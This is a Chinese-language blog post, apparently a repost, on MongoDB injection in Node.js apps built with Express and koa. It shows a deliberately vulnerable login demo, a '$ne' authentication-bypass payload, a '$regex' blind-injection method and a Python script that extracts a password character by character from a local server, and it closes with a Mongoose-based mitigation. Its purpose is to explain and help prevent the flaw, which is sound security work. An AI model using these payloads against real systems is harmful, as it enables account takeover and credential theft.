时间:2021-07-01 10:21:17 帮助过:27人阅读
The difference between Express and koa Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和
Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和 koa 有一些差异。
在对于 GET 的处理上,Express 和 koa 的一个显著的不同就是:
test[1]=a&test[2]=b
Expres 的 req.query
会把 test 处理成 Object:
{ test: [ 'a', 'b' ] }
koa 的 this.request.query
却不会:
{ 'test[1]': 'a', 'test[2]': 'b' }
在这种情况下,koa 可以避免在 QueryString 内的 Mongodb Injection。
在 POST 中,当 Content-Type 为 application/x-www-form-urlencoded
时,Express和 koa 的行为也是不相同的,对于:
test[a]=123&test[b]=456
Express 的 req.body
解析后的结果为:
{ 'test[a]': '123', 'test[b]': '456' }
koa co-body
处理后解析后的结果为:
{ test: { a: '123', b: '456' } }
当 Content-Type 为 multipart/form-data
时,对于:
------WebKitFormBoundaryxUTB0WY8QmAfDBIp
Content-Disposition: form-data; name="test[a]"
123
------WebKitFormBoundaryxUTB0WY8QmAfDBIp
Content-Disposition: form-data; name="test[b]"
456
------WebKitFormBoundaryxUTB0WY8QmAfDBIp--
Express 利用 multiparty 解析的结果为:
{ 'test[a]': [ '123', '456' ], 'test[b]': [ '789' ] }
koa 如果用 multiparty 解析的话,结果相同。
最后,当 Content-Type 为 application/json
时,Express 和 koa 在结果上时相同的,对于:
{"test1": 1, "test2": {"test": "hello"}}
解析结果都为:
{ test1: 1, test2: { test: 'hello' } }
另外的 PUT、DELETE 等方法我们不做考虑。
其实这里引入一个 RESUful 的概念,现代 API 多是追求 RESTful 的 API 设计,对于 Web 和 App 有统一的一套接口,然后衍生出一系列所谓“前后端分离”的概念,也出现了许多 JavaScript 框架,AngularJS 就是这样的。AngularJS 和后端通信的方式就是上述 POST 中最后一种,直接 POST JSON 到后端,然后后端进行解析,所以说在这种解析的过程中就会出现一系列的问题,最主要的还是 Mongodb Injection。
这个其实是很常见的问题了,因为攻击威力小,而且开发者稍加注意就可以避免,所以 Mongodb Injection 一直就是不温不火。
对于 Mongodb 的注入,目前可以做到的事 Authenticate Bypass,以及 Blind Injection。比较鸡肋的是 Blind Injection 只能对已知字段进行注入。
我用 Node.js + Mongodb 写了一个简单的登陆系统,当然是有漏洞的,主要是来研究一下漏洞的成因,以及如何避免。
项目地址:https://github.com/RicterZ/simpleLogin
/controllers/user.js
LoginHandler.login = function (request, response) {
var user = new User({
username: request.body.username,
password: request.body.password
});
user.login(function (err, user) {
if (err) {
response.status(500).json({message: err.toString()})
return;
};
if (!user) {
response.status(401).json({message: 'Login Fail'});
return;
};
response.status(200).json({user: 'Hello ' + user.username});
});
};
此处我们将用户传入的 password 直接带入 User 的 Model,进而调用 login 方法。
/model/users.js
User.prototype.login = function (callback) {
var _user = {
username: this.username,
password: this.password
};
db.open(function (err, db) {
if (err) return callback(err);
db.collection('users', function (err, collection) {
if (err) {
db.close();
return callback(err);
};
collection.findOne(_user, function (err, user) { // Injection
// do stuff
});
});
});
}
由于此处我们提交的数据为:
{"username": "test", "password": {"$ne": 1}
Express 处理后变成一个 JSON Condition 然后进入 Mongodb 的查询中,所以我们可以直接 Bypass 验证,进入 test 的账户。
/controller/user.js
LoginHandler.login2 = function (request, response) {
var user = new User({
username: request.body.username,
password: request.body.password
});
user.login(function (err, user) {
if (err) {
response.status(500).json({message: err.toString()})
return;
};
if (!user) {
response.status(401).json({message: 'User not exist'});
return;
};
if (user.password === request.body.password) {
response.status(200).json({user: 'Hello ' + user.username});
} else {
response.status(401).json({message: 'Password is not correct'});
};
});
};
此处和上面不同的是我们验证了密码,如果未获取到用户则显示 User not exist,如果密码和数据库里储存的密码不同则显示 Password is not correct。利用此处的差异我们可以 Blind Injection 出数据库储存的密码为多少。
利用 Mongodb 里的正则表达式:
{"username": "test", "password": {"$regex": "^1"}}
如果开头的字母为 1,则显示 Password is not correct,如果不为 1,则显示 User not exist。第一位猜测完毕后继续猜解第二位:
{"username": "test", "password": {"$regex": "^11"}}
重复上述步骤直至猜解结束。
Code:
import urllib2
request = urllib2.Request('http://localhost:3000/login', '{"username": "ricter", "password": {"$ne": 1}}', headers={"Content-Type": "application/json"})
print urllib2.urlopen(request).read()
Result:
Code:
import sys
import urllib2
def req(url, data):
try:
request = urllib2.Request(url, data, headers={'Content-Type': 'application/json'})
return urllib2.urlopen(request).read()
except urllib2.HTTPError, e:
return e.read()
url = 'http://localhost:3000/login2'
FLAG_USER_NOT_EXIST = 'User not exist'
FLAG_PASSWORD_INCORRECT = 'Password is not correct'
chars = '9876503412'
payload = '{"username": "ricter","password": {"$regex": "^%s"}}'
password = ''
while 1:
for i in chars:
resp = req(url, payload % (password + i))
if FLAG_PASSWORD_INCORRECT in resp:
password += i
print password
break
elif FLAG_USER_NOT_EXIST in resp:
pass
if i == chars[-1]:
print password
sys.exit(0)
Result:
常见的 Node.js 的 Web 应用中,还有一种常见的搭配就是利用 Mongoose 来进行数据的 CRUD。
具体代码参见 simpleLogin 的 mongoose 分支。
使用 Mongoose 我们可以定义每个 document 的 field 的数据类型:
var _User = new db.Schema({
username: String,
password: String,
apikey: String
});
这样的话,我们传入:
{"username": "ricter","password": {"$ne": 1}}
实际上查询的时候会被转变成:
{ username: 'ricter', password: undefined }
所以不会造成 Mongodb Injection。
Node.js 的 Webapp,我本人比较倾向于 koa+mongoose,可以避免一些 Mongodb 的注入的问题,以及代码看起来更为优雅一些。
当然,\Python 大法好/
原文地址:Mongodb Injection in Node.js Web Framework, 感谢原作者分享。